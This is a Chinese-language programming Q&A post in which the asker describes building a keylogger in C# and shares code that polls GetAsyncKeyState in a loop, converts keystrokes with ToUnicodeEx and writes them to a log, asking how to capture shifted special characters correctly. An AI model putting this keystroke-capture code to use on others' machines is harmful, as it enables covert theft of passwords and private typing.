【发布时间】:2017-06-26 10:51:30
【问题描述】:
我正在做一个键盘记录器,我使用GetAsyncKeyState 处理活动键。
Keys lastKey = 0;
while (true)
{
Boolean shiftKey;
Boolean capsLock;
String text = "";
Thread.Sleep(captureTime);
for (int i = 0; i< 1000; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
text = processKey((Keys) i, shiftKey, capsLock);
if (checkNewLine(lastKey, (Keys) i))
{
saveLog(text);
}
lastKey = (Keys) i;
}
}
}
键处理函数processKey,根据键类型处理键,但我不知道如何处理特殊键如“¿?:;!·$%&”需要shift或其他需要alt的特殊字符比如“@#”。
我想写特殊字符而不是单独字符的组合,例如,如果我按 shift+0,控制台应该输出“=”,但在我的情况下,控制台会分开写“[SHIFT]”“0”。
还有processKey函数(unicode):
switch(key)
{
case Keys.Back:
case Keys.ShiftKey:
text = "["+key.ToString()+"]";
break;
case Keys.Enter:
text = Environment.NewLine;
break;
case Keys.Space:
text = " ";
break;
case Keys.Tab:
text = "\t";
break;
default:
IntPtr windowHandle = GetForegroundWindow();
uint processId;
uint threadId = GetWindowThreadProcessId(windowHandle, out processId);
byte[] kState = new byte[256];
GetKeyboardState(kState);
uint layout = GetKeyboardLayout(threadId);
StringBuilder keyName = new StringBuilder();
ToUnicodeEx((uint)key, (uint)key, kState, keyName, 16, 0, layout);
text = keyName.ToString();
if((int)key >=65 && (int)key <= 90)
{
text = (!shiftKey && capsLock || shiftKey && !capsLock ? Convert.ToChar(key).ToString()
: Convert.ToChar(key).ToString().ToLower());
}
break;
}
return text;
【问题讨论】:
-
当你必须处理 dead keys 时,它开始变得非常复杂 - 阅读整个系列会对你有很大帮助。